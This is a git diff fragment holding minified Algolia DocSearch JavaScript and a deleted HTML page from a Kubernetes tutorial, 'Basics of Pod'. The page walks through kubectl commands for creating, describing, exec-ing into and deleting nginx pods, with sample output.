favorites":d;return"idle"===r.state.status&&!1===r.hasCollections?r.disableUserPersonalization?null:Be.createElement("div",{className:"DocSearch-StartScreen"},Be.createElement("p",{className:"DocSearch-Help"},a)):!1===r.hasCollections?null:Be.createElement("div",{className:"DocSearch-Dropdown-Container"},Be.createElement(tr,pr({},r,{title:c,collection:r.state.collections[0],renderIcon:function(){return Be.createElement("div",{className:"DocSearch-Hit-icon"},Be.createElement(Dn,null))},renderAction:function(e){var t=e.item,n=e.runFavoriteTransition,o=e.runDeleteTransition;return Be.createElement(Be.Fragment,null,Be.createElement("div",{className:"DocSearch-Hit-action"},Be.createElement("button",{className:"DocSearch-Hit-action-button",title:l,type:"submit",onClick:function(e){e.preventDefault(),e.stopPropagation(),n((function(){r.favoriteSearches.add(t),r.recentSearches.remove(t),r.refresh()}))}},Be.createElement(Ln,null))),Be.createElement("div",{className:"DocSearch-Hit-action"},Be.createElement("button",{className:"DocSearch-Hit-action-button",title:f,type:"submit",onClick:function(e){e.preventDefault(),e.stopPropagation(),o((function(){r.recentSearches.remove(t),r.refresh()}))}},Be.createElement(Cn,null))))}})),Be.createElement(tr,pr({},r,{title:m,collection:r.state.collections[1],renderIcon:function(){return Be.createElement("div",{className:"DocSearch-Hit-icon"},Be.createElement(Ln,null))},renderAction:function(e){var t=e.item,n=e.runDeleteTransition;return Be.createElement("div",{className:"DocSearch-Hit-action"},Be.createElement("button",{className:"DocSearch-Hit-action-button",title:h,type:"submit",onClick:function(e){e.preventDefault(),e.stopPropagation(),n((function(){r.favoriteSearches.remove(t),r.refresh()}))}},Be.createElement(Cn,null)))}})))}var hr=["translations"];function vr(){return vr=Object.assign||function(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var _r=Be.memo((function(e){var t=e.translations,n=void 0===t?{}:t,r=yr(e,hr);if("error"===r.state.status)return Be.createElement(Hn,{translations:null==n?void 0:n.errorScreen});var o=r.state.collections.some((function(e){return e.items.length>0}));return r.state.query?!1===o?Be.createElement(zn,vr({},r,{translations:null==n?void 0:n.noResultsScreen})):Be.createElement(sr,r):Be.createElement(dr,vr({},r,{hasCollections:o,translations:null==n?void 0:n.startScreen}))}),(function(e,t){return"loading"===t.state.status||"stalled"===t.state.status})),br=["translations"];function gr(){return gr=Object.assign||function(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function Sr(e){var t=e.translations,n=void 0===t?{}:t,r=Or(e,br),o=n.resetButtonTitle,c=void 0===o?"Clear the query":o,i=n.resetButtonAriaLabel,a=void 0===i?"Clear the query":i,u=n.cancelButtonText,l=void 0===u?"Cancel":u,s=n.cancelButtonAriaLabel,f=void 0===s?"Cancel":s,p=r.getFormProps({inputElement:r.inputRef.current}).onReset;return Be.useEffect((function(){r.autoFocus&&r.inputRef.current&&r.inputRef.current.focus()}),[r.autoFocus,r.inputRef]),Be.useEffect((function(){r.isFromSelection&&r.inputRef.current&&r.inputRef.current.select()}),[r.isFromSelection,r.inputRef]),Be.createElement(Be.Fragment,null,Be.createElement("form",{className:"DocSearch-Form",onSubmit:function(e){e.preventDefault()},onReset:p},Be.createElement("label",gr({className:"DocSearch-MagnifierLabel"},r.getLabelProps()),Be.createElement(ze,null)),Be.createElement("div",{className:"DocSearch-LoadingIndicator"},Be.createElement(kn,null)),Be.createElement("input",gr({className:"DocSearch-Input",ref:r.inputRef},r.getInputProps({inputElement:r.inputRef.current,autoFocus:r.autoFocus,maxLength:64}))),Be.createElement("button",{type:"reset",title:c,className:"DocSearch-Reset","aria-label":a,hidden:!r.state.query},Be.createElement(Cn,null))),Be.createElement("button",{className:"DocSearch-Cancel",type:"reset","aria-label":f,onClick:r.onClose},l))}var Er=["_highlightResult","_snippetResult"];function wr(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},c=Object.keys(e);for(r=0;r=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function jr(e){return!1===function(){var e="__TEST_KEY__";try{return localStorage.setItem(e,""),localStorage.removeItem(e),!0}catch(e){return!1}}()?{setItem:function(){},getItem:function(){return[]}}:{setItem:function(t){return window.localStorage.setItem(e,JSON.stringify(t))},getItem:function(){var t=window.localStorage.getItem(e);return t?JSON.parse(t):[]}}}function Pr(e){var t=e.key,n=e.limit,r=void 0===n?5:n,o=jr(t),c=o.getItem().slice(0,r);return{add:function(e){var t=e,n=(t._highlightResult,t._snippetResult,wr(t,Er)),i=c.findIndex((function(e){return e.objectID===n.objectID}));i>-1&&c.splice(i,1),c.unshift(n),c=c.slice(0,r),o.setItem(c)},remove:function(e){c=c.filter((function(t){return t.objectID!==e.objectID})),o.setItem(c)},getAll:function(){return c}}}var Ir=["facetName","facetQuery"];function kr(e){var t,n="algoliasearch-client-js-".concat(e.key),r=function(){return void 0===t&&(t=e.localStorage||window.localStorage),t},o=function(){return JSON.parse(r().getItem(n)||"{}")};return{get:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}};return Promise.resolve().then((function(){var n=JSON.stringify(e),r=o()[n];return Promise.all([r||t(),void 0!==r])})).then((function(e){var t=i(e,2),r=t[0],o=t[1];return Promise.all([r,o||n.miss(r)])})).then((function(e){return i(e,1)[0]}))},set:function(e,t){return Promise.resolve().then((function(){var c=o();return c[JSON.stringify(e)]=t,r().setItem(n,JSON.stringify(c)),t}))},delete:function(e){return Promise.resolve().then((function(){var t=o();delete t[JSON.stringify(e)],r().setItem(n,JSON.stringify(t))}))},clear:function(){return Promise.resolve().then((function(){r().removeItem(n)}))}}}function Dr(e){var t=a(e.caches),n=t.shift();return void 0===n?{get:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}};return t().then((function(e){return Promise.all([e,n.miss(e)])})).then((function(e){return i(e,1)[0]}))},set:function(e,t){return Promise.resolve(t)},delete:function(e){return Promise.resolve()},clear:function(){return Promise.resolve()}}:{get:function(e,r){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}};return n.get(e,r,o).catch((function(){return Dr({caches:t}).get(e,r,o)}))},set:function(e,r){return n.set(e,r).catch((function(){return Dr({caches:t}).set(e,r)}))},delete:function(e){return n.delete(e).catch((function(){return Dr({caches:t}).delete(e)}))},clear:function(){return n.clear().catch((function(){return Dr({caches:t}).clear()}))}}}function Cr(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{serializable:!0},t={};return{get:function(n,r){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}},c=JSON.stringify(n);if(c in t)return Promise.resolve(e.serializable?JSON.parse(t[c]):t[c]);var i=r(),a=o&&o.miss||function(){return Promise.resolve()};return i.then((function(e){return a(e)})).then((function(){return i}))},set:function(n,r){return t[JSON.stringify(n)]=e.serializable?JSON.stringify(r):r,Promise.resolve(r)},delete:function(e){return delete t[JSON.stringify(e)],Promise.resolve()},clear:function(){return t={},Promise.resolve()}}}function Ar(e){for(var t=e.length-1;t>0;t--){var n=Math.floor(Math.random()*(t+1)),r=e[t];e[t]=e[n],e[n]=r}return e}function xr(e,t){return t?(Object.keys(t).forEach((function(n){e[n]=t[n](e)})),e):e}function Nr(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r0?r:void 0,timeout:n.timeout||t,headers:n.headers||{},queryParameters:n.queryParameters||{},cacheable:n.cacheable}}var qr={Read:1,Write:2,Any:3},Mr=1,Hr=2,Ur=3,Fr=12e4;function Br(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Mr;return t(t({},e),{},{status:n,lastUpdate:Date.now()})}function Vr(e){return"string"==typeof e?{protocol:"https",url:e,accept:qr.Any}:{protocol:e.protocol||"https",url:e.url,accept:e.accept||qr.Any}}var zr="GET",Wr="POST";function Kr(e,t){return Promise.all(t.map((function(t){return e.get(t,(function(){return Promise.resolve(Br(t))}))}))).then((function(e){var n=e.filter((function(e){return function(e){return e.status===Mr||Date.now()-e.lastUpdate>Fr}(e)})),r=e.filter((function(e){return function(e){return e.status===Ur&&Date.now()-e.lastUpdate<=Fr}(e)})),o=[].concat(a(n),a(r));return{getTimeout:function(e,t){return(0===r.length&&0===e?1:r.length+3+e)*t},statelessHosts:o.length>0?o.map((function(e){return Vr(e)})):t}}))}function Jr(e,n,r,o){var c=[],i=function(e,n){if(e.method===zr||void 0===e.data&&void 0===n.data)return;var r=Array.isArray(e.data)?e.data:t(t({},e.data),n.data);return JSON.stringify(r)}(r,o),u=function(e,n){var r=t(t({},e.headers),n.headers),o={};return Object.keys(r).forEach((function(e){var t=r[e];o[e.toLowerCase()]=t})),o}(e,o),l=r.method,s=r.method!==zr?{}:t(t({},r.data),o.data),f=t(t(t({"x-algolia-agent":e.userAgent.value},e.queryParameters),s),o.queryParameters),p=0,m=function t(n,a){var s=n.pop();if(void 0===s)throw{name:"RetryError",message:"Unreachable hosts - your application id may be incorrect. If the error persists, contact support@algolia.com.",transporterStackTrace:Gr(c)};var m={data:i,headers:u,method:l,url:Qr(s,r.path,f),connectTimeout:a(p,e.timeouts.connect),responseTimeout:a(p,o.timeout)},d=function(e){var t={request:m,response:e,host:s,triesLeft:n.length};return c.push(t),t},h={onSucess:function(e){return function(e){try{return JSON.parse(e.content)}catch(t){throw function(e,t){return{name:"DeserializationError",message:e,response:t}}(t.message,e)}}(e)},onRetry:function(r){var o=d(r);return r.isTimedOut&&p++,Promise.all([e.logger.info("Retryable failure",Zr(o)),e.hostsCache.set(s,Br(s,r.isTimedOut?Ur:Hr))]).then((function(){return t(n,a)}))},onFail:function(e){throw d(e),function(e,t){var n=e.content,r=e.status,o=n;try{o=JSON.parse(n).message}catch(e){}return function(e,t,n){return{name:"ApiError",message:e,status:t,transporterStackTrace:n}}(o,r,t)}(e,Gr(c))}};return e.requester.send(m).then((function(e){return function(e,t){return function(e){var t=e.status;return e.isTimedOut||function(e){var t=e.isTimedOut,n=e.status;return!t&&0==~~n}(e)||2!=~~(t/100)&&4!=~~(t/100)}(e)?t.onRetry(e):2==~~(e.status/100)?t.onSucess(e):t.onFail(e)}(e,h)}))};return Kr(e.hostsCache,n).then((function(e){return m(a(e.statelessHosts).reverse(),e.getTimeout)}))}function $r(e){var t={value:"Algolia for JavaScript (".concat(e,")"),add:function(e){var n="; ".concat(e.segment).concat(void 0!==e.version?" (".concat(e.version,")"):"");return-1===t.value.indexOf(n)&&(t.value="".concat(t.value).concat(n)),t}};return t}function Qr(e,t,n){var r=Yr(n),o="".concat(e.protocol,"://").concat(e.url,"/").concat("/"===t.charAt(0)?t.substr(1):t);return r.length&&(o+="?".concat(r)),o}function Yr(e){return Object.keys(e).map((function(t){return Nr("%s=%s",t,(n=e[t],"[object Object]"===Object.prototype.toString.call(n)||"[object Array]"===Object.prototype.toString.call(n)?JSON.stringify(e[t]):e[t]));var n})).join("&")}function Gr(e){return e.map((function(e){return Zr(e)}))}function Zr(e){var n=e.request.headers["x-algolia-api-key"]?{"x-algolia-api-key":"*****"}:{};return t(t({},e),{},{request:t(t({},e.request),{},{headers:t(t({},e.request.headers),n)})})}var Xr=function(e){var n=e.appId,r=function(e,t,n){var r={"x-algolia-api-key":n,"x-algolia-application-id":t};return{headers:function(){return e===Tr.WithinHeaders?r:{}},queryParameters:function(){return e===Tr.WithinQueryParameters?r:{}}}}(void 0!==e.authMode?e.authMode:Tr.WithinHeaders,n,e.apiKey),o=function(e){var t=e.hostsCache,n=e.logger,r=e.requester,o=e.requestsCache,c=e.responsesCache,a=e.timeouts,u=e.userAgent,l=e.hosts,s=e.queryParameters,f={hostsCache:t,logger:n,requester:r,requestsCache:o,responsesCache:c,timeouts:a,userAgent:u,headers:e.headers,queryParameters:s,hosts:l.map((function(e){return Vr(e)})),read:function(e,t){var n=Lr(t,f.timeouts.read),r=function(){return Jr(f,f.hosts.filter((function(e){return 0!=(e.accept&qr.Read)})),e,n)};if(!0!==(void 0!==n.cacheable?n.cacheable:e.cacheable))return r();var o={request:e,mappedRequestOptions:n,transporter:{queryParameters:f.queryParameters,headers:f.headers}};return f.responsesCache.get(o,(function(){return f.requestsCache.get(o,(function(){return f.requestsCache.set(o,r()).then((function(e){return Promise.all([f.requestsCache.delete(o),e])}),(function(e){return Promise.all([f.requestsCache.delete(o),Promise.reject(e)])})).then((function(e){var t=i(e,2);return t[0],t[1]}))}))}),{miss:function(e){return f.responsesCache.set(o,e)}})},write:function(e,t){return Jr(f,f.hosts.filter((function(e){return 0!=(e.accept&qr.Write)})),e,Lr(t,f.timeouts.write))}};return f}(t(t({hosts:[{url:"".concat(n,"-dsn.algolia.net"),accept:qr.Read},{url:"".concat(n,".algolia.net"),accept:qr.Write}].concat(Ar([{url:"".concat(n,"-1.algolianet.com")},{url:"".concat(n,"-2.algolianet.com")},{url:"".concat(n,"-3.algolianet.com")}]))},e),{},{headers:t(t(t({},r.headers()),{"content-type":"application/x-www-form-urlencoded"}),e.headers),queryParameters:t(t({},r.queryParameters()),e.queryParameters)})),c={transporter:o,appId:n,addAlgoliaAgent:function(e,t){o.userAgent.add({segment:e,version:t})},clearCache:function(){return Promise.all([o.requestsCache.clear(),o.responsesCache.clear()]).then((function(){}))}};return xr(c,e.methods)},eo=function(e){return function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r={transporter:e.transporter,appId:e.appId,indexName:t};return xr(r,n.methods)}},to=function(e){return function(n,r){var o=n.map((function(e){return t(t({},e),{},{params:Yr(e.params||{})})}));return e.transporter.read({method:Wr,path:"1/indexes/*/queries",data:{requests:o},cacheable:!0},r)}},no=function(e){return function(n,r){return Promise.all(n.map((function(n){var o=n.params,i=o.facetName,a=o.facetQuery,u=c(o,Ir);return eo(e)(n.indexName,{methods:{searchForFacetValues:co}}).searchForFacetValues(i,a,t(t({},r),u))})))}},ro=function(e){return function(t,n,r){return e.transporter.read({method:Wr,path:Nr("1/answers/%s/prediction",e.indexName),data:{query:t,queryLanguages:n},cacheable:!0},r)}},oo=function(e){return function(t,n){return e.transporter.read({method:Wr,path:Nr("1/indexes/%s/query",e.indexName),data:{query:t},cacheable:!0},n)}},co=function(e){return function(t,n,r){return e.transporter.read({method:Wr,path:Nr("1/indexes/%s/facets/%s/query",e.indexName,t),data:{facetQuery:n},cacheable:!0},r)}},io=1,ao=2,uo=3;function lo(e,n,r){var o,c={appId:e,apiKey:n,timeouts:{connect:1,read:2,write:30},requester:{send:function(e){return new Promise((function(t){var n=new XMLHttpRequest;n.open(e.method,e.url,!0),Object.keys(e.headers).forEach((function(t){return n.setRequestHeader(t,e.headers[t])}));var r,o=function(e,r){return setTimeout((function(){n.abort(),t({status:0,content:r,isTimedOut:!0})}),1e3*e)},c=o(e.connectTimeout,"Connection timeout");n.onreadystatechange=function(){n.readyState>n.OPENED&&void 0===r&&(clearTimeout(c),r=o(e.responseTimeout,"Socket timeout"))},n.onerror=function(){0===n.status&&(clearTimeout(c),clearTimeout(r),t({content:n.responseText||"Network request failed",status:n.status,isTimedOut:!1}))},n.onload=function(){clearTimeout(c),clearTimeout(r),t({content:n.responseText,status:n.status,isTimedOut:!1})},n.send(e.data)}))}},logger:(o=uo,{debug:function(e,t){return io>=o&&console.debug(e,t),Promise.resolve()},info:function(e,t){return ao>=o&&console.info(e,t),Promise.resolve()},error:function(e,t){return console.error(e,t),Promise.resolve()}}),responsesCache:Cr(),requestsCache:Cr({serializable:!1}),hostsCache:Dr({caches:[kr({key:"".concat(Rr,"-").concat(e)}),Cr()]}),userAgent:$r(Rr).add({segment:"Browser",version:"lite"}),authMode:Tr.WithinQueryParameters};return Xr(t(t(t({},c),r),{},{methods:{search:to,searchForFacetValues:no,multipleQueries:to,multipleSearchForFacetValues:no,initIndex:function(e){return function(t){return eo(e)(t,{methods:{search:oo,searchForFacetValues:co,findAnswers:ro}})}}}}))}lo.version=Rr;var so="3.2.0";var fo=["footer","searchBox"];function po(){return po=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function go(e){var t=e.appId,n=e.apiKey,r=e.indexName,o=e.placeholder,c=void 0===o?"Search docs":o,i=e.searchParameters,a=e.onClose,u=void 0===a?cr:a,l=e.transformItems,s=void 0===l?or:l,f=e.hitComponent,p=void 0===f?In:f,m=e.resultsFooterComponent,d=void 0===m?function(){return null}:m,h=e.navigator,v=e.initialScrollY,y=void 0===v?0:v,_=e.transformSearchClient,b=void 0===_?or:_,g=e.disableUserPersonalization,O=void 0!==g&&g,S=e.initialQuery,E=void 0===S?"":S,w=e.translations,j=void 0===w?{}:w,P=e.getMissingResultsUrl,I=j.footer,k=j.searchBox,D=bo(j,fo),C=yo(Be.useState({query:"",collections:[],completion:null,context:{},isOpen:!1,activeItemId:null,status:"idle"}),2),A=C[0],x=C[1],N=Be.useRef(null),R=Be.useRef(null),T=Be.useRef(null),L=Be.useRef(null),q=Be.useRef(null),M=Be.useRef(10),H=Be.useRef("undefined"!=typeof window?window.getSelection().toString().slice(0,64):"").current,U=Be.useRef(E||H).current,F=function(e,t,n){return Be.useMemo((function(){var r=lo(e,t);return r.addAlgoliaAgent("docsearch",so),!1===/docsearch.js \(.*\)/.test(r.transporter.userAgent.value)&&r.addAlgoliaAgent("docsearch-react",so),n(r)}),[e,t,n])}(t,n,b),B=Be.useRef(Pr({key:"__DOCSEARCH_FAVORITE_SEARCHES__".concat(r),limit:10})).current,V=Be.useRef(Pr({key:"__DOCSEARCH_RECENT_SEARCHES__".concat(r),limit:0===B.getAll().length?7:4})).current,z=Be.useCallback((function(e){if(!O){var t="content"===e.type?e.__docsearch_parent:e;t&&-1===B.getAll().findIndex((function(e){return e.objectID===t.objectID}))&&V.add(t)}}),[B,V,O]),W=Be.useMemo((function(){return En({id:"docsearch",defaultActiveItemId:0,placeholder:c,openOnFocus:!0,initialState:{query:U,context:{searchSuggestions:[]}},navigator:h,onStateChange:function(e){x(e.state)},getSources:function(e){var t=e.query,n=e.state,o=e.setContext,c=e.setStatus;return t?F.search([{query:t,indexName:r,params:ho({attributesToRetrieve:["hierarchy.lvl0","hierarchy.lvl1","hierarchy.lvl2","hierarchy.lvl3","hierarchy.lvl4","hierarchy.lvl5","hierarchy.lvl6","content","type","url"],attributesToSnippet:["hierarchy.lvl1:".concat(M.current),"hierarchy.lvl2:".concat(M.current),"hierarchy.lvl3:".concat(M.current),"hierarchy.lvl4:".concat(M.current),"hierarchy.lvl5:".concat(M.current),"hierarchy.lvl6:".concat(M.current),"content:".concat(M.current)],snippetEllipsisText:"…",highlightPreTag:"",highlightPostTag:"",hitsPerPage:20},i)}]).catch((function(e){throw"RetryError"===e.name&&c("error"),e})).then((function(e){var t=e.results[0],r=t.hits,c=t.nbHits,i=rr(r,(function(e){return ur(e)}));return n.context.searchSuggestions.length0&&($(),q.current&&q.current.focus())}),[U,$]),Be.useEffect((function(){function e(){if(R.current){var e=.01*window.innerHeight;R.current.style.setProperty("--docsearch-vh","".concat(e,"px"))}}return e(),window.addEventListener("resize",e),function(){window.removeEventListener("resize",e)}}),[]),Be.createElement("div",po({ref:N},J({"aria-expanded":!0}),{className:["DocSearch","DocSearch-Container","stalled"===A.status&&"DocSearch-Container--Stalled","error"===A.status&&"DocSearch-Container--Errored"].filter(Boolean).join(" "),role:"button",tabIndex:0,onMouseDown:function(e){e.target===e.currentTarget&&u()}}),Be.createElement("div",{className:"DocSearch-Modal",ref:R},Be.createElement("header",{className:"DocSearch-SearchBar",ref:T},Be.createElement(Sr,po({},W,{state:A,autoFocus:0===U.length,inputRef:q,isFromSelection:Boolean(U)&&U===H,translations:k,onClose:u}))),Be.createElement("div",{className:"DocSearch-Dropdown",ref:L},Be.createElement(_r,po({},W,{indexName:r,state:A,hitComponent:p,resultsFooterComponent:d,disableUserPersonalization:O,recentSearches:V,favoriteSearches:B,inputRef:q,translations:D,getMissingResultsUrl:P,onItemClick:function(e){z(e),u()}}))),Be.createElement("footer",{className:"DocSearch-Footer"},Be.createElement(Pn,{translations:I}))))}function Oo(){return Oo=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);n1&&void 0!==arguments[1]?arguments[1]:window;return"string"==typeof e?t.document.querySelector(e):e}(e.container,e.environment))}})); -//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/public/k8s/basics-of-pod/index.html b/public/k8s/basics-of-pod/index.html deleted file mode 100644 index 556b78c..0000000 --- a/public/k8s/basics-of-pod/index.html +++ /dev/null @@ -1,619 +0,0 @@ - - - - - - - - -Basics of Pod · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Basics of Pod

-
-
- - -

0. What is POD learn via Kubectl Explain

-
kubectl explain pod 
-KIND:     Pod
-VERSION:  v1
-
-DESCRIPTION:
-     Pod is a collection of containers that can run on a host. This resource is
-     created by clients and scheduled onto hosts.
-
-FIELDS:
-   apiVersion   <string>
-     APIVersion defines the versioned schema of this representation of an
-     object. Servers should convert recognized schemas to the latest internal
-     value, and may reject unrecognized values. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
-
-   kind <string>
-     Kind is a string value representing the REST resource this object
-     represents. Servers may infer this from the endpoint the client submits
-     requests to. Cannot be updated. In CamelCase. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
-
-   metadata     <Object>
-     Standard object's metadata. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
-
-   spec <Object>
-     Specification of the desired behavior of the pod. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
-
-   status       <Object>
-     Most recently observed status of the pod. This data may not be up to date.
-     Populated by the system. Read-only. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
-

1. Create a Pod from Nginx Image

-
➜  k8sworkshop git:(main) ✗ kubectl run nginx --image=nginx
-
-pod/nginx created
-
-➜ k8sworkshop git:(main) ✗ kubectl get pods
-NAME    READY   STATUS    RESTARTS   AGE
-nginx   1/1     Running   0          25s
-

2. Create a Pod and Expose a Port

-
➜  k8sworkshop git:(main) ✗ kubectl run nginx-port --image=nginx --port=80
-pod/nginx-port created
-➜  k8sworkshop git:(main) ✗ kubectl describe pod nginx-port
-Name:             nginx-port
-Namespace:        default
-Priority:         0
-Service Account:  default
-Node:             minikube/192.168.49.2
-Start Time:       Mon, 06 Mar 2023 01:44:56 +0530
-Labels:           run=nginx-port
-Annotations:      <none>
-Status:           Running
-IP:               172.17.0.4
-IPs:
-  IP:  172.17.0.4
-Containers:
-  nginx-port:
-    Container ID:   docker://8260b161cc305d1cf4060dff9edbd0b05e86d9c4fc441b5a0a51b9dbe35403d3
-    Image:          nginx
-    Image ID:       docker-pullable://nginx@sha256:aa0afebbb3cfa473099a62c4b32e9b3fb73ed23f2a75a65ce1d4b4f55a5c2ef2
-    Port:           80/TCP
-    Host Port:      0/TCP
-    State:          Running
-      Started:      Mon, 06 Mar 2023 01:44:59 +0530
-    Ready:          True
-    Restart Count:  0
-    Environment:    <none>
-    Mounts:
-      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ffpjx (ro)
-Conditions:
-  Type              Status
-  Initialized       True 
-  Ready             True 
-  ContainersReady   True 
-  PodScheduled      True 
-Volumes:
-  kube-api-access-ffpjx:
-    Type:                    Projected (a volume that contains injected data from multiple sources)
-    TokenExpirationSeconds:  3607
-    ConfigMapName:           kube-root-ca.crt
-    ConfigMapOptional:       <nil>
-    DownwardAPI:             true
-QoS Class:                   BestEffort
-Node-Selectors:              <none>
-Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
-                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
-Events:
-  Type    Reason     Age   From               Message
-  ----    ------     ----  ----               -------
-  Normal  Scheduled  20s   default-scheduler  Successfully assigned default/nginx-port to minikube
-  Normal  Pulling    20s   kubelet            Pulling image "nginx"
-  Normal  Pulled     18s   kubelet            Successfully pulled image "nginx" in 2.236192917s
-  Normal  Created    18s   kubelet            Created container nginx-port
-  Normal  Started    18s   kubelet            Started container nginx-port
-➜  k8sworkshop git:(main) ✗ 
-

3. Output the Manifest File

-
kubectl run nginx --image=nginx --port=80 --dry-run=client -o yaml
-apiVersion: v1
-kind: Pod
-metadata:
-  creationTimestamp: null
-  labels:
-    run: nginx
-  name: nginx
-spec:
-  containers:
-  - image: nginx
-    name: nginx
-    ports:
-    - containerPort: 80
-    resources: {}
-  dnsPolicy: ClusterFirst
-  restartPolicy: Always
-status: {}
-

alternative

-
 kubectl run nginx --image=nginx --port=80 --dry-run=client -o yaml > ngnix.yaml
-➜  k8sworkshop git:(main) ✗ ls
-LICENSE           context           data              ngnix.yaml        package.json      styles
-README.md         course.json       lessons           node_modules      pages             workshop
-components        csv               next.config.js    package-lock.json public
-➜  k8sworkshop git:(main) ✗ cat ngnix.yaml 
-apiVersion: v1
-kind: Pod
-metadata:
-  creationTimestamp: null
-  labels:
-    run: nginx
-  name: nginx
-spec:
-  containers:
-  - image: nginx
-    name: nginx
-    ports:
-    - containerPort: 80
-    resources: {}
-  dnsPolicy: ClusterFirst
-  restartPolicy: Always
-status: {}
-➜  k8sworkshop git:(main) ✗ 
-

4. Delete PODS

-
 k8sworkshop git:(main) ✗ kubectl delete pod nginx
-pod "nginx" deleted
-
-➜  k8sworkshop git:(main) ✗ kubectl delete pod --all
-pod "nginx-port" deleted
-

List the Worker Node

-
kubectl get nodes 
-

Create a new POD from Nginx Image

-
kubectl run mywebserver --image=nginx
-

List the PODS that are currently running.

-
kubectl get pods
-

Connect inside the POD

-
kubectl exec -it mywebserver -- bash
-

You can come out of the POD with CTRL+D

-
kubectl exec -it mywebserver -- ls -l /
-

Delete the POD

-
kubectl delete pod mywebserver
-
pod-expose-port.yaml
-
apiVersion: v1
-kind: Pod
-metadata:
-  name: nginx-pod
-spec:
-  containers:
-  -  image: nginx
-     name: democontainer
-     ports:
-       - containerPort: 8080
-
kubectl apply -f pod-expose-port.yaml
-
kubectl get pods
-
-kubectl describe pod nginx-pod
-
-➜  k8sworkshop git:(main) ✗ kubectl explain pod.spec.containers.ports
-KIND:     Pod
-VERSION:  v1
-
-RESOURCE: ports <[]Object>
-
-DESCRIPTION:
-     List of ports to expose from the container. Not specifying a port here DOES
-     NOT prevent that port from being exposed. Any port which is listening on
-     the default "0.0.0.0" address inside a container will be accessible from
-     the network. Modifying this array with strategic merge patch may corrupt
-     the data. For more information See
-     https://github.com/kubernetes/kubernetes/issues/108255. Cannot be updated.
-
-     ContainerPort represents a network port in a single container.
-
-FIELDS:
-   containerPort        <integer> -required-
-     Number of port to expose on the pod's IP address. This must be a valid port
-     number, 0 < x < 65536.
-
-   hostIP       <string>
-     What host IP to bind the external port to.
-
-   hostPort     <integer>
-     Number of port to expose on the host. If specified, this must be a valid
-     port number, 0 < x < 65536. If HostNetwork is specified, this must match
-     ContainerPort. Most containers do not need this.
-
-   name <string>
-     If specified, this must be an IANA_SVC_NAME and unique within the pod. Each
-     named port in a pod must have a unique name. Name for the port that can be
-     referred to by services.
-
-   protocol     <string>
-     Protocol for port. Must be UDP, TCP, or SCTP. Defaults to "TCP".
-     Possible enum values:
-     - `"SCTP"` is the SCTP protocol.
-     - `"TCP"` is the TCP protocol.
-     - `"UDP"` is the UDP protocol.
-
-➜  k8sworkshop git:(main) ✗ 
-

Finding a Pod’s Cluster IP

-
k8s101 git:(main) ✗ kubectl get pod -o wide
-NAME         READY   STATUS    RESTARTS   AGE    IP           NODE       NOMINATED NODE   READINESS GATES
-nginx-pod    1/1     Running   0          95s    172.17.0.7   minikube   <none>           <none>
-nginx-port   1/1     Running   0          108m   172.17.0.3   minikube   <none>           <none>
-

Finding a Service’s IP

-

We can find a Service IP using kubectl as well. In this case we will list all services in all namespaces:

-
➜  k8s101 git:(main) ✗ kubectl get service --all-namespaces
-
-NAMESPACE              NAME                        TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)                  AGE
-default                kubernetes                  ClusterIP   10.96.0.1       <none>        443/TCP                  114d
-kube-system            kube-dns                    ClusterIP   10.96.0.10      <none>        53/UDP,53/TCP,9153/TCP   114d
-kube-system            metrics-server              ClusterIP   10.106.73.183   <none>        443/TCP                  36m
-kubernetes-dashboard   dashboard-metrics-scraper   ClusterIP   10.109.38.100   <none>        8000/TCP                 110m
-kubernetes-dashboard   kubernetes-dashboard        ClusterIP   10.108.78.110   <none>        80/TCP                   110m
-➜  k8s101 git:(main) ✗ 
-
➜  k8s101 git:(main) ✗ kubectl get pod nginx-pod  --template='{{(index (index .spec.containers 0).ports 0).containerPort}}{{"\n"}}'
-8080
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
